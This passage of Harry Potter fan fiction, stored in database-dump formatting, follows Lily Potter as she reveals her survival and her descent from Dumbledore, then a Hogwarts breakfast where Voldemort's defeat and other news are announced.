\n</p><p>\n"I\'m not a psychic." \n</p><p>\n"Not a psychic? But, but?" This was Arabella. \n</p><p>\n"No, I\'m not." \n</p><p>\nSirius laughed hollowly, "So you\'re saying that Dumbledore, McGonagall, us, Madame Pomfrey and all the people from the Ministry were wrong and you, Mrs. I\'m-so-clever-it-hurts Potter is right?" \n</p><p>\nLily didn\'t bat an eyelid, "That\'s right, Sirius. It\'s not as if I\'m going to be wrong is it?" \n</p><p>\n"So," said Hermione, "If you\'re not a psychic, what are you?" \n</p><p>\n"It\'s not <i>what</i> I am that\'s the question, it\'s <i>who</i> I am. And you know the answer to that question, Hermione." \n</p><p>\n"Me?" \n</p><p>\n"No, I mean Sirius\' pet goldfish. I\'m talking about you, Elvira Voldemort, Hermione Granger whatever you want to be called by. You know. I\'m not your cat for nothing." \n</p><p>\nHermione fiddled with a frayed piece of her robes and tried to look clueless. \n</p><p>\n"Let\'s start on the questions then, shall we?" interrupted Arabella. \n</p><p>\nLily sighed, "You want a full explanation, don\'t you? Well, it\'s only to be expected. All right, here goes." She coughed, "Have you ever wondered why I\'m so different from the rest of my family, not the least being the only witch in a completely muggle family. I traced the tree once. There isn\'t a single magical person in the Evans family since there was a sqib in the thirteenth century. So how is it that suddenly I\'m born? I\'m not trying to be modest here, I\'m the cleverest witch to go to Hogwarts since Godric Gryffindor\'s daughter Marianna." \n</p><p>\n"What was your family like?" asked Harry who realised that he knew nothing whatsoever about Lily and Petunia\'s family. \n</p><p>\n"Well, it was <i>interesting</i>. My father worked in town with a computer company and only came home at the weekends. Petunia and I lived with my mother at her riding school in Sussex." \n</p><p>\n"A riding school?" asked Harry. \n</p><p>\nLily grinned, "I know you\'re not so fond of horses, but I was never happy out of the saddle." \n</p><p>\n"She was quite amazing," added Arabella. "I remember seeing her at a show when she was thirteen. She went round a course of jumps over a metre high and then she came first!" \n</p><p>\n"I loved riding," agreed Lily, "I really did. It was lucky actually that I did, for Mother was very trying. She was very young- she had Petunia when she was about sixteen and she wouldn\'t let us call her mum. We had to call her Trixy. She behaved like a spoilt teenager for whom life never goes right. She was only interested in her riding school and Petunia and I did all the work. This was all right, for Petunia and I got on fine to start with. Then when she was about twelve or thirteen, she suddenly woke up to the fact that she was a teenager and that she was living on a riding school, that she had no life and that we were to blame for it. She got into terrible rows with her mother. She seemed to think that everyone existed to make her life a misery, that she was doomed to be the scape goat in everything. She threw tantrums, she threatened to run away and commit suicide, she fell in with the wrong people. Well, you can imagine the rest. Trixy didn\'t know how to deal with it because she also thought that all the world was against her. In the end it came down to me to do everything. Then I received the letter from Hogwarts. Petunia\'s attitude towards me changed completely then. She was jealous of me while my father was proud and my mother thought it was \'fun\'. I thought Petunia hated me just because I was cleverer and had better chances, but I was wrong. I now see that her hatred of me was because Trixy or my father had told her the truth about me- what I was never told. That I was adopted and that I wasn\'t Petunia\'s real sister." \n</p><p>\n"You weren\'t Petunia\'s real sister?" cried Harry, "So I\'ve just spent the last seventeen years of my life living with people who aren\'t my relations?" \n</p><p>\n"I\'m afraid so, but Dumbledore was right, they were the safest people you could have lived with. And you were just across the road from Arabella\'s mother." \n</p><p>\n"But I don\'t see why you couldn\'t just have changed back and returned to the wizarding world." \n</p><p>\n"I knew you were going to ask me that and I hope my answer is sufficient. I\'m not trying to excuse myself, but it was physically impossible. My wand was broken, you see. When people die, there wands are broken-" \n</p><p>\n"But you\'re not dead!" cried Arabella. \n</p><p>\n"I\'m going about this all wrong, aren\'t I? OK, I\'ll continue what happened from my point of view. I went to Hogwarts and almost the first people I met were James Potter and Sirius Black. I met them on the train actually. We shared a compartment. I thought they were good fun and we became friends. At least, we did until the next day. I discovered that James and Sirius liked playing practical jokes and that James thought himself clever. I also thought I was clever and we started a who-can-be-the-best-at-everything. We were still friends to some extent though. In our third year, Dumbledore became headmaster and with him came a new boy, Remus Lupin. It didn\'t take me long to work out that he was a werewolf and James and Sirius found out soon afterwards." \n</p><p>\n"You found out before us? You never said!" Sirius looked astonished. \n</p><p>\n"I also didn\'t mention that I was so furious at not being included in the animagus scheme.- I found out about that too, that I became an animagus on my own." \n</p><p>\nArabella caughed. \n</p><p>\n"With Arabella\'s help, I mean." \n</p><p>\nSirius groaned, "And we thought we were so clever, and all the time you were one step ahead." \n</p><p>\n"Naturally." Lily\'s green eyes twinkled gently, "Anyway, back to the plot. When I was in my fourth year I realised that I could read minds. I won\'t go into details but it was like a sixth sense. (A/N: Think Lyra in His Dark Materials reading the alethiometer.) It was hard to control in the beginning, but I could use it very well after a few months. That\'s how we did the dating agency. That was great fun, though I still can\'t see how people could actually take it seriously. All sorts of people came to see me and they called me a psychic. I read a lot about it and I wasn\'t convinced, but I didn\'t see what else it could be. The worst thing was that Trelawney wanted me to do extra Divination. Divination was my worst subject. In the end I through a teacup at her, the old bat!" \n</p><p>\nArabella gave her the thumbs up. \n</p><p>\nLily continued, "I married James when I was only eighteen and we had you, Harry two years later. You know about James\' job. I was training to become a teacher. I specialised in Defence against the Dark Arts and Charms." \n</p><p>\n"Oh by the way, what happened to Cidilla French, James\' friend from work? I liked her," asked Arabella. \n</p><p>\n"Cidilla? I don\'t know. I imagine she, her husband with the funny name and her five little daughters are still in hiding from Voldemort." \n</p><p>\n"They won\'t be little anymore, Lily," said Sirius. \n</p><p>\n"No, you\'re right. They\'ll be grown up by now. I wonder what happened to them. They all had such sensible names, remember Bella?" \n</p><p>\n"Yes, if your mother is called Cidilla French, is a spy and teaches German in a muggle school as a cover, and your father has a name that is merely laughable, then you\'ll be glad to be called Mary or Eleanor or the like." \n</p><p>\n"I\'m not going to talk about happened then. You all know. Peter betrayed us and Voldemort came for us. James was killed and I died to save Harry." \n</p><p>\n"Excuse me, I thought you\'re alive," said Sirius. \n</p><p>\nLily\'s arms tightened round Harry, "No, I was killed. I was prepared to die. I thought I really did die. Instead I only fainted it seems. For I woke up what must have been a months later in a coffin!" She shivered, "It\'s an experience I wouldn\'t wish on anyone. But I was certainly alive." \n</p><p>\nHarry cried excitedly, "You found the Epithanos spell!" \n</p><p>\n"No, Hermione is one up on me there. I was just as mystified as you were. Then something else happened. I managed to get out of the coffin by doing magic without my wand. I know that all wizards can do magic without a wand in exceptional situations but it came so easily to me! I decided I must be thought dead, and I had no idea how long I had been knocked out. I did not know if you were alive, Harry, or not. I did not know what had happened to Voldemort. My first motive was to get in contact with the magical world. I changed into a cat, as I was aware that people wouldn\'t react very kindly to the appearance of the dead Lily Potter without an explanation of what I was doing. I would be sent straight to Azkaban for being an imposter. I was picked up by some muggles and they kept me as a pet, or perhaps I should say, a prisoner.  For eleven years. I\'m still surprised that the RSPCA never caught them.  And of course I can\'t do magic in my cat form.  It was awful. Then I met a cousin of the family one Christmas and I knew immediately that he was a wizard. I sucked up to him and started to be more bad mannered than I already was to the rest of the family. Eventually they gave me to the cousin as he was the only person who could control me. I went back to a wizarding home and it was bliss! I caught up on all the news of the last twelve years and I discovered that you, Sirius had escaped from Azkaban. That you were supposedly after Harry. I also read the news paper article about the Weasleys and saw the picture with Peter on your shoulder, Ron. That did it- I had to go to Hogwarts! Not only has Hogwarts got the best library in the wizarding world where I could try to find out why I wasn\'t killed, but Sirius was going to go to Hogwarts, Peter was at Hogwarts and you, Harry was at Hogwarts. I played up to my owner and he was forced to sell me to the pet shop. I waited for someone from Hogwarts to buy me. Eventually you three came in. I apologise for jumping on your head, Ron, but I was just so surprised to see Harry and Peter in the same room. I know I\'m going to say the two things that will make you give me everlasting hatred, Harry, but you <i>have</i> grown and you <i>are</i> James\' splitting image. You know what happened that year." \n</p><p>\n"Lily," said Sirius, a slight canine growl in his voice, "if sometime you\'d like to get to the point, then that\'s all right with me." \n</p><p>\n"I\'m afraid it\'s me who gave you your detention last term, Harry. It\'s me who has been using the library in the middle of the night and, well, cats sometimes find it hard to clean their feet, especially if I\'ve been outside and I did leave the library rather muddy sometimes." \n</p><p>\n"Why were you reading about the Unbreakable Link?" asked Ron. \n</p><p>\nLily smiled, "Since you know so much about it Hermione, would you like to tell us the three ways that you can survive death?" \n</p><p>\nHermione nodded, "Someone can have died for you, you know the counter curse, or your parents had the Unbreakable Link." \n</p><p>\n"Take a million points, Hermione. Well, no-one died to save me, I had never heard of Epithanos so it only left one option." \n</p><p>\n"Your parents had the Unbreakable Link?" breathed Harry. \n</p><p>\n"Yes. It all makes sense, though. If your parents had the Unbreakable Link then you can survive death by force, do magic without a wand and read minds." \n</p><p>\nHarry had the peculiar impression that Lily was speaking on two levels. It was like when he had read <i>Animal Farm</i> a few years ago. He had thought it was just a story about animals, until Hermione had gone to a lot of trouble and had explained that actually it was about Communism. At one level Lily just seemed to be explaining what the children of parents with the Unbreakable Link could do, but at another, she seemed to be saying something and it was directed at him. "...So basically I\'m pretty powerful. Of course it depends on how strong the parents are. My father was exceptionally strong, but my mother wasn\'t much, so I\'m middling. Just imagine if my parents were like Godric Gryffindor\'s- they had the Unbreakable Link- Simon Gryffindor and Diana Slytherin you know- they were very-" \n</p><p>\nShe paused to take breath and Arabella interrupted, "Please stop gabbling the history lecture, Lily and tell us. Who are your parents?" \n</p><p>\n"There are only two people it could be, you know Arabella. Professor Albus Dumbledore and Professor Aïda Thompson." \n</p><p>\n"Dumbledore?!" cried Ron. Harry looked stunned and Hermione looked slightly surprised. Sirius and Arabella exchanged worried glances. \nLily continued, "Dumbledore is the only person last century to have the Unbreakable Link. I did some research on it and he had it with a half Italian witch he was very fond of: Aïda Thompson. She had fair hair and green eyes. She looked very like me, in fact." \n</p><p>\n"I saw a picture of her in a book on teachers. I thought her eyes were a bit like Harry\'s, but I didn\'t actually connect her with you because I thought you had red hair," said Hermione. \n</p><p>\nLily laughed, "So near but so far!" \n</p><p>\nHarry frowned, "But how come you were adopted? Surely as Dumbledore\'s daughter..." \n</p><p>\nLily\'s smile disappeared, "This is of course all speculation. I don\'t know, but I have a theory that could fit. You all know what happened to Professor Thompson, I suppose?" \n</p><p>\nEveryone except Harry and Ron nodded. \n</p><p>\n"Aïda Thompson was the biggest scandal of the 1960s. One fine early September day in the year 1964, Professor Thompson left Hogwarts after having successfully taught Defence Against the Dark Arts for eight years. She was never seen again. On the fifteenth day of May 1965, eight and a half months later, a baby girl was born in a hospital in Penzance. She was named Maria Lily and she had no surname. Two days later Aïda was killed by Avada Kedavra and was washed away in the sea. She was found by the muggle police on a beach near Penzance. Three months later Maria Lily was adopted by a Mr. Hamish Evens who wanted a companion for his five year old daughter, Petunia. The girl\'s name was changed to Lily Maria. No-one knew why Aïda had disappeared. No-one knew who Lily Maria\'s parents were. Only Petunia was told by her father when she was older that her sister wasn\'t her blood sister. Lily Maria never knew." \n</p><p>\n"Are you telling me that Aïda Thompson, the most kind hearted woman ever, abandoned her daughter in a hospital in Penzance?" cried Arabella angrily. \n</p><p>\n"I\'d like to think it happened differently." \n</p><p>\n"I still don\'t get it!" said Harry, "Why couldn\'t this Aïda Thompson simply have had you at Hogwarts without all the fuss?" \nHermione sighed and rolled her eyes, "Boys! You see Harry, she wasn\'t married to Dumbledore. She was very strongly religious and she was afraid of her having a child when she wasn\'t married. At least, that\'s what I think it was," she added hastily. \n</p><p>\n"Yes, that\'s what I think too. I also think she didn\'t tell Dumbledore because she thought he wouldn\'t love her if he knew." \n</p><p>\n"You don\'t think she told Dumbledore?" \n</p><p>\n"He wouldn\'t have let her go, I\'m sure. I honour her, however. It must have taken her a lot of will to give up her life as she knew it and throw herself into the mercy of the muggle world. She was Voldemort\'s prime target, you know. If Voldemort could kill her then Dumbledore had his powers halved or more. I think after I was born she felt she could let security loosen a little. I was born; that was the main thing. Voldemort got her then. I don\'t believe she ever intended to abandon me." \n</p><p>\nThey all stayed silent a minute to pay tribute to Lily\'s mother, Miss Aïda Thompson. Eventually Hermione asked, "Does Dumbledore know you\'re his daughter?" \n</p><p>\n"I don\'t know. I think sometimes that he does, and sometimes that he doesn\'t. I shall have to go and see him now." \n</p><p>\n"He\'s in conference with McGonagal and Snape at the minute," Sirius said. \n</p><p>\n"Well, dear old Severus will be pleased to see his old crush." \n</p><p>\nHarry\'s jaw almost dropped, "Snape <i>likes</i> you? I thought he hates all Gryffindors!" \n</p><p>\n"Well, he hates all Gryffindors apart from me. That\'s one reason why he hated your father so much- because James got the girl and he didn\'t." She smiled a little sadly and stood up. Then she looked at her watch in fake surprise, "Goodness! Look at the time! Harry, I\'m shocked and astonished! Why are you not in bed? To the hospital wing and bed now! All three of you!" \n</p><p>\nThey all stood up, but Harry had to ask just one more question, "Are you immortal then?" \n</p><p>\n"Lillies never wither," she replied gravely, "quote from the marvellous and non-existent autobiography of the amazing Lily Potter by Lily Potter. Seriously though, I am not immortal. I\'ll die of old age, disease, or I\'ll be run over by a bus. But I cannot commit suicide or be killed by a human hand. Now to bed!" \n</p><p>\nAnd at long last, they followed her advice. \n</p><p>'),
	(62, 16, '<p><i>Disclaimer:  JK Rowling owns it all...</i></p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\nChapter 16- Estella\'s Gift\n</p><p>  \n"Harry? Harry! Are you awake?" Harry Potter woke up to the dulcit tones of Ron Weasley from the cubicle next to him. He rubbed his eyes wondering why they were both in the hospital. Then memories came flooding back to him. Voldemort was finally dead and Hermione was no longer the muggle born he had thought she was. Then there was his mother! He had never had such a wonderfull surprise. \n</p><p>\n"Hi Ron!" he called happily. "I\'m awake. Can I come through?" \n</p><p>\n"Sure," replied Ron. \n</p><p>\nHarry quickly got dressed and put his school robes on; it was the first day of the summer term. He then pushed back the curtain to Ron\'s cubicle. He was sitting up in bed, his hair standing on end almost as much as Harry\'s usually did. \n</p><p>\n"You\'re dressed?" he asked in surprise. \n</p><p>\n"Yeah." \n</p><p>\nThey sat in silence for a minute, then Ron said quietly, "Tell me everything that happened after you fell off that horse, and don\'t leave <i>anything</i> out." \n</p><p>\nHarry took a deep breath and told Ron everything, from Estella\'s visit and the revelation of Voldemort\'s daughter to the appearance of Voldemort himself in the library and Harry and Hermione\'s battle against him. At the end the sun had crept round to the window and Harry was feeling slightly hoarse. \n</p><p>\nRon sighed, "I know you\'re Harry Potter and all that, but how can you take it all so easily? I mean, you\'re just killed someone; your friend\'s father. And think- this all signifies that Hermione is the daughter of the heir of the most evil wizard ever and has just killed her father in cold blood. That\'s patricide!" \n</p><p>\nHarry thought about this. He had not considered it at all in that way, "But even so, Voldemort was only her father biologically. The equivalent would be her killing Mr. Granger. He wasn\'t a father to Hermione." He paused, "I\'m proud of her." \n</p><p>\nRon was about to reply when Hermione herself pushed back the curtain and came in, "Hello Harry, Ron. I heard you talking so I thought I\'d come through. I\'ve been reading. What, aren\'t you dressed yet, Ron? It\'s quarter past eight and classes start soon. Madame Pomfrey\'s taken Irene down to breakfast already. She said we were to go if we felt up to it. Harry and I will wait out here while you get dressed." \n</p><p>\nBefore she left the cubicle, she warned them not to say anything of what had really happened the day before to anyone, "We had a very interesting stay; riding and walking. We got back so late yesterday that we had to stay in the hospital wing so as not to wake people up. That\'s the story, right? Irene has nothing to do with us, by the way. We\'ll see what Dumbledore says before we go giving things away." \n</p><p>\nHarry followed her out into the corridor. He was about to start a conversation on what had happened, but he suddenly noticed a glimmer on her hand. \n</p><p>\n"A ring! Where did you get that from? That\'s the first piece of jewellery I\'ve ever seen you wear." \n</p><p>\nHermione turned her left hand towards her and said guardedly, "It was a present." \n</p><p>\n"Who from?" \n</p><p>\n"I do hope we get the NEWTs results soon. I\'m afraid I lost some marks in Transfiguration because I hesitated before doing the practical exam," was the only reply Harry was entitled to and she resolutely kept the conversation up till they were halfway to the Great Hall. At last Harry in desparation (for he didn\'t want to discuss the exams anymore) asked her what she had been reading. \nRon shot him a horrific glance. This subject seemed just as unpalatable to him as the exam results. Hermione seemed happy to talk about her reading materials however. \n</p><p>\n"Oh it\'s a marvellous book!" She enthused, "Really. It\'s written as an autobiography of one of history\'s most important and influential woman ever!" She paused for effect then said, "Lady Diana Gryffindor!" \n</p><p>\nShe could have saved her pause, for Harry looked nonplussed and Ron said, "Who?" \n</p><p>\nHermione looked increduously at them, "You mean you\'ve <i>never</i> heard of Lady Diana? The mother of Godric Gryffindor and the sister of Salazaar Slytherin\'s father! Born Miss Eleanor Slytherin and died Lady Diana Gryffindor." \n</p><p>\n"Wait a minute," questioned Harry. "How could she change her Cristian name like that?" \n</p><p>\n"Very easily. Her real name was Elena but everyone called her Diana because she reminded them of the moon goddess, Diana or Artemis because she was so pale skinned and dark haired. In fact, when she and Lord Simon were married they were called Apollo and Artemis because he was just like the sun and she was the moon. \n</p><p>\n"Most people study magical history from the founding of Hogwarts and seemed to forget that there was existence before then, which is very sad. Godric Gryffindor was important but perhaps his parents were just so as well. Diana\'s story I find fascinating. I have just reached the first meeting of Simon and Diana. They met at a party Diana\'s brother gave and Lord Simon was the only non Slytherin there. And of course there was the added thing- they had the Unbreakable Link and they knew it the moment they met." \n</p><p>\nHermione stopped to draw breath and Harry slipped in a question, "Who was it by?" \n</p><p>\n"A never heard of before author called Star White. I think though, that it\'s my mother- Estella Green writing under a pseudonym." \n</p><p>\n"Really? I suppose it\'s possible." \n</p><p>\nRon let out a massive yawn and pushed the Great Hall doors open. \nWhen they reached the Gryffindor table they saw, inbetween Ginny Weasley and Pippa Spinnet; Irene Malfoy. \n</p><p>\n"You\'re in Gryffindor!" Ron cried in surprise. \n</p><p>\nShe nodded gravely, "The Sorting Hat had quite a lot of trouble with me, but eventually it put me here. I\'m quite happy with the arrangement. Ginny and Pippa are being very kind." She smiled for the first time, "It makes so much difference not being under the Imperius Curse and always in danger. I can be myself again. At least I\'m not with my odious cousin." \n</p><p>\n"Talking about Malfoy," said Harry glancing at the door, "here he comes- with his bodyguards." \n</p><p>\nSure enough, Draco Malfoy flanked as usual by Crabbe and Goyle approached the Slytherin table and sat down with Pansy, Blaise and Millicent. \n</p><p>\n"Did you know that Crabbe and Goyle have got Zabini and Bulstrode to go out with them?" whispered Pippa in Harry and Ron\'s ear. She could always be counted on to know all the latest gossip, "I don\'t know how they could bare to be with those two goons. Ugh!" \n</p><p>\nHarry couldn\'t see how Crabbe and Goyle could have wanted to date those two girls either. \n</p><p>\nAll six Gryffindors watched Pansy say something to Malfoy and point in their direction. Soon Malfoy, Crabbe and Goyle walking respectively about a foot behind, began to approach them. The pupils having breakfast stopped talking to watch. When Draco Malfoy looked like that then there was going to be trouble. Watching it was as good an entertainment as any. \n</p><p>\nHe took up his stand directly in front of Irene and she raised her eyes to meet his. No-one said anything for a few very long seconds. Then Draco said cooly, "I think you\'ve come to the wrong table, Irene." \n</p><p>\nIrene ate a piece of toast and did not reply. At all. Malfoy looked quite disconcerted. After all, it is difficult to argue with a brick wall. Soon he recovered himself and tried another attack, "I am absolutely furious that Dumbledore has admitted such scrum as you to Hogwarts. Mudbloods were bad enough, but letting muggles come is too much. It\'s lucky I only have one term left here." \n</p><p>\nIrene kept resolutely silent, though her cheeks had reddened almost imperceptively. Out of the corner of Harry\'s eye he saw Hermione lay her hand restrainingly on Ron\'s arm. He was once more aware of her ring. \n</p><p>\nMeanwhile neither Irene nor Draco had moved. The latter seemed to be stumped. Suddenly Irene jerked her head up and stared vaguely at Draco. At last she spoke, "Sorry cousin, did you say something? I wasn\'t concentrating." \n</p><p>\nRed spots appeared on Malfoy\'s cheeks. He wasn\'t used to being ignored. He reached inside his robes for his wand. Crabbe and Goyle cracked their knuckles in anticipation of a fight. \n</p><p>\n"Just you wait, squib; I\'ll make you pay," he hissed preparing to curse her. \n</p><p>\n"Malfoy!" Hermione stepped forward. He turned around and suddenly she held up her left hand towards him, her palm facing herself. A jet of purple light left the ring and hit Malfoy\'s wand arm. \n</p><p>\n"Ow! What have you done? Filthy mudblood!" \n</p><p>\nHermione\'s voice rang out clear across the hall, "Next time, pick on someone your own size. I may not be persuaded to join in then. In answer to your question, if you don\'t know what this ring does then you should. Call yourself a Slytherin and you don\'t recognise it! And really Malfoy, it seems to be you not Irene who needs to check the geography of the room. You sit over <i>there</i>." \n</p><p>\n"Do you want to duel, Granger? I\'m quite ready." \n</p><p>\n"I wouldn\'t be so sure of that. However I\'ll be very happy to oblige, if you\'re sure." \n</p><p>\n"Now Mr. Malfoy and Miss Granger," it was little Professor Flitwick who had decided that it was more than time to interfere, "20 points from Slytherin and 10 points from Gryffindor. I hope I never hear such language and threats from you again, Draco, and remember; no curses out of class, Hermione. Now finish your breakfast quietly." \n</p><p>\nHermione sat down and all Gryffindor craned their necks to see her and Irene. No-one really knew who the new girl was, but Malfoy\'s interference had rendered her most interesting. \n</p><p>\nShortly afterwards Dumbledore followed by Lily, Arabella and Sirius entered the room and sat down at the teachers\' table. A string of hushed comments and queries followed Lily as well as she made her towards Harry and the Gryffindors. \n</p><p>\nShe greeted them and then said in a low voice to Harry, "Dumbledore has entirely acknowledged me as his daughter, I am glad to say." \n</p><p>\n"Did he know already that Miss Thompson had had a child?" \n</p><p>\nLily sighed and glanced at the table. "I would tell you, Harry, but I think it best if what passed between me and Professor Dumbledore stays between us only." \n</p><p>\nHarry understood but still wished he could know. After all, Dumbledore was now his grandfather! His mother continued, "However, since he believes that Aïda did not want my true parentage to be known, he is going to honour that wish. I am going to appear as his niece." \n</p><p>\n"But... but, are you going to be my mother?" \n</p><p>\n"I am your mother Harry! But yes, I am going to be introduced as Mrs. Potter. The professor will say a few words about what happened yesterday and he will mention Epithanos. Hermione will be credited with inventing it, but the school will be told that that is how I survived. It will not hold water for the more important people like Miss Goldfinger, but she shall be told the truth." \n</p><p>\n"In that case, Hermione won\'t get the credit!" \n</p><p>\n"You\'d rather Hermione got the credit than me? Dear me! Well, she will get it. I used it without really knowing what it was." \n</p><p>\n"That\'s not going to work!" \n</p><p>\n"You\'d be surprised how many people will believe things like that." She shrugged and then continued, "I was talking to Severus last night and I think you deserve a explanation." \n</p><p>\n"An explanation?" said Harry in surprise. \n</p><p>\n"I know he\'s been horrid to you since the very first day you arrived." \n</p><p>\n"And you know why?" \n</p><p>\n"Yes." She sat down next to him and stared into space for a while before speaking again. "You have heard that the reason Snape hates you was because of your father- of James. That\'s only partly true. The reason he hates you is because of me not James. James was always civil to Severus- in the beginning at least." \n</p><p>\n"So what went wrong?" \n</p><p>\n"I came along. I hated Severus Snape with a blind prejudice. So did Sirius and Arabella. We played tricks on him, we teased him. We generally made life a plague to him. Of course it could only get worse when he fell for me. I hated him and he loved me. Knowing his partiality only gave me something more to tease him about." \n</p><p>\nShe paused and Harry punctuated with an, "And?" \n</p><p>\n"This is where it gets difficult. You know Harry, I was a partner in a fun dating agency at school. I prided myself on being able to tell who was in love with each other perhaps before they knew themselves. I still can actually. I could tell who were life partners and who just had crushes. I was very vain of this talent but one thing it lacked was telling who liked me! Even in our third year Severus says he could tell that there was something between James and I. So then he hated James for liking \'his girlfriend\'! He was always jealous of James- his quidditch skills (Severus never made it onto the quidditch team though he tried many times), his intelligence in class, his bravado and the way he was even nice to him. Then James saved his life, risking his own life. And when they returned afterwards I completely ignored Severus and went to James. After that James became less tolerant of Snape and started playing his own tricks which I have to say, were far more slick and accomplished than mine. It ended in bitter hatred. Now, the reason he hates you, Harry, is because he knows you\'re like James and also because you\'re my child- mine and James\'. He can\'t bear to think that you could have been his child!" \n</p><p>\nHarry was starting for the first time, to feel sorry for Snape. \n</p><p>\nLily sighed, "Well, he has given me his word that he shall be nicer to you now. Not that I think much of his word. He may not be a bad man, but he\'s not the most pleasent fellow I ever met. He\'ll try to get over hating you for my sake, but I\'m afraid, scandalous as it is for teachers to like different pupils more or less than others, he doesn\'t actually like you for your sake. Still, you tolerate him and perhaps he\'ll tolerate you." \n</p><p>\nAt that point they were interrupted by Dumbledore who had stood up and clapped his hands for silence. The whisperings in the hall slowly died. \n</p><p>\nDumbledore started, "Good morning everybody! Before I let you go to classes, I have a few notices to give out. Five, in fact. Firstly, I would like to welcome a new student to the school. Miss Irene Malfoy was sorted into Gryffindor last night. She will be in the fifth year. Stand up, Irene please!" \n</p><p>\nIrene stood up and endured all the stares and comments with a very good grace. After a minute she sat down. Dumbledore continued, "If you think you have heard the name \'Malfoy\' before you are right! Miss Malfoy is Draco Malfoy\'s first cousin." The mutterings increased. "Miss Malfoy has not been attending school before now because she is a squib." Dead silence. "However, she has been sorted and I intend to introduce squibs to the school on a regular basis. My colleague, Professor Sinistra has kindly volunteered to teach them the quickspell course. Irene is our guinea pig!" \n</p><p>\nThe mutterings were general again. Dumbledore waited for them to die down before moving onto his second notice, "I would also like to introduce my neice, Mrs. Lily Potter!" The hall went wild with shouts, gasps and general confusion. Professor McGonagall clapped her hands and called loudly, "Silence please!" \n</p><p>\nDumbledore picked up the thread, "I know what you are thinking. Yes, Lily is the mother of Harry Potter. However she is not dead as you can see! Quite by accident she found a charm to counter Avada Kedavra!" \n</p><p>\n"What?!" cried someone. \n</p><p>\n"Due to a variety of circumstances she has not been able to return until now. She will be staying here for some time and I hope she will accept a teaching post here." \n</p><p>\nLily smiled, "Thank-you, Professor!" \n</p><p>\n"I have already mentioned the counter curse to Avada Kedavra. This is actually the counter curse to an ancient Greek curse, Thanos. It was actually found by a student while she was on holiday last year. Miss Hermione Granger, please stand up!" \n</p><p>\nThere were a few gasps and some boos from the Slytherin table. Harry, Ron and Lily all clapped very loudly. \n</p><p>\n"I am afraid that as this research did not take place in school, I cannot award house points, however I am sure the Minister of Magic will have something to say about it at the Laurels\' Ceremony. Sit down, Hermione." \n</p><p>\nDumbledore waited for the school to digest this new imformation but even when silence had set in he did not speak. The pupils began to figit. When Dumbledore eventually spoke it was in a much more serious tone. "I do not think that there isn\'t one person sitting here who is not aware of the existance of Lord Voldemort." \n</p><p>\nHe paused and there were quite a few shudders at the mention of the name. The older students looked rather frightened. Some could remember Cedric Diggory and his death. Dumbledore\'s tone of voice indicated some catastrophe of the like. They were not all that wrong. \n</p><p>\n"There has been a death." Dumbledore paused before continuing just as seriously, "Some of you may know that last week Harry Potter, Ron Weasley and Hermione Granger went on holiday. The holiday was a trap. Yesterday, two of them encountered Lord Voldemort and managed to defeat him!" \n</p><p>\nThe Great Hall was still with shock. "I am pleased to say that the Dark Lord is no more. He will never be able to terrorise your families again. I think we should just take a minute to remember all the people that were killed by his hand and the families broken up by him." He bowed his head and the rest of room followed suite. Soon all that could be heard was Dumbledore\'s quiet voice, "The following were some of the victims of Voldemort. The McKinnons, Geoffrey, Alice and Laura; the Crouches, Bartemius, Godfrey and Jane; the Potters, Samuel, Clemence, James and Elizabeth; the Weasleys, John and Harriet; the Shortstraws, Monty, Cidilla and Eleanor; the Browns, Derek and Rosemary; the Bones, Charles and Helena; Mary Chang; Bertha Jorkins; Rose Birchwood; Cedric Diggory; Aïda Thompson; Richard Harding; Peter Goldfinger; Sean Newman." He stopped talking and after a minute of silent reflection everyone of one accord looked up. Dumbledore cleared his throat. "If the Ministry has no objection, I would like the 20th of April to be set aside for remembrance." \n</p><p>\nNo-one appeared objected and everyone felt rather sad. Lily sighed and said to Harry, "I was at school with John Weasley, Arthur\'s brother, and Harriet Walpole. They were good friends. Rose Birchwood was in my year as well and Cidilla French-Shortstraw was one of my closest friends. I wasn\'t even aware she had died." \n</p><p>\nDumbledore was speaking, "However, this is a time for rejoicing! Voldemort is gone at last and thanks to the bravery of Harry Potter, Hermione Granger and Ron Weasley." \n</p><p>\nThis time there were cheers. However, Ron elbowed Harry and whispered, "Look at Malfoy!" Harry looked. Draco Malfoy looked as if he had swallowed a lemon with extra vinegar. Harry grinned and whispered back, "Aw, poor Malfoy- he can\'t become a death eater now!" \n</p><p>\n"Don\'t be so sure of that, Harry!" Hermione interrupted, "I\'m sure someone will step into Voldemort\'s shoes soon enough. He may have even left an heir, for all we know." \n</p><p>\nRon glared at her, "Hermione, we really didn\'t need that!" \n</p><p>\nEventually the Great Hall quietened down a bit and everyone finished their breakfast. Harry, Ron and Hermione all got bombarded by questions but they answered evasively. \n</p><p>\nAt the end of breakfast Percy Weasley entered the room. After talking with Dumbledore and McGonagall for a few minutes he sat down and started eating breakfast. \n</p><p>\n"Whatever is he doing here?" cried Ron without any hope of an answer. \n</p><p>\nMcGonagall then stood up and asked all the seventh years to remain behind. \n</p><p>\n"Why?" Harry asked no-one. \n</p><p>\nHermione shrugged, "Probably about our NEWTs. I hope so anyway." \n</p><p>\nHarry didn\'t. \n</p><p>\nHermione was right though. Percy had come to forward the Minister of Magic who had had to remain in London for the night for some reason. He hadn\'t brought the results himself, but had been told to tell them that everyone had passed, and that some people had results over 100%! \n</p><p>\nProfessor McGonagall then took the opportunity to explain to everyone what was going to happen about the results. \n</p><p>\n"Next Friday, the 25th, is the date of this year\'s Laurels\' Ceremony. Parents and relatives are all invited and the Minister of Magic herself will present the certificates. It will take place on the Quidditch Pitch at 14:30. Clean school robes- not dress robes- will be worn. It will also be neccessary to wear a hat, so if you haven\'t got one make sure you have one by Friday." \n</p><p>\nHarry had always wondered when the pointed hat he had bought before his first year would come in useful. He\'d never worn it before. \n</p><p>\n"There will also be a ball on the last evening of term." \n</p><p>\nHarry and Ron exchanged gloomy glances. Their experiences of school dances so far had been catastrophic. \n</p><p>\n"This ball will not be like the other school balls you may have been to previously. This one will take place in Hogsmeade. The date is Friday, 27th June at seven pm. School finishes on Saturday, 28th. Dinner will be served there. Dress robes or muggle formal dress can be worn, depending on preference. We have no problem with what you wear providing it covers a reasonable amount!" \n</p><p>\nSome girls giggled there. Hermione looked stony faced. \n</p><p>\n"Professor Dumbledore has invited the Diagon Sinfonietta Orchestra to play for us for which we are very grateful. It is a custom at this ball for all the boys to dance with all the girls and vice versa. There are more than enough dances to manage this in. The evening has been planned in the following way: the first half will be dedicated to the faster dances. There will food in the interval. The more romantic dances such as the waltzes will be played in the second half." \n</p><p>\n"Waltzes!?" cried Padma Patil, looking horrified, "I 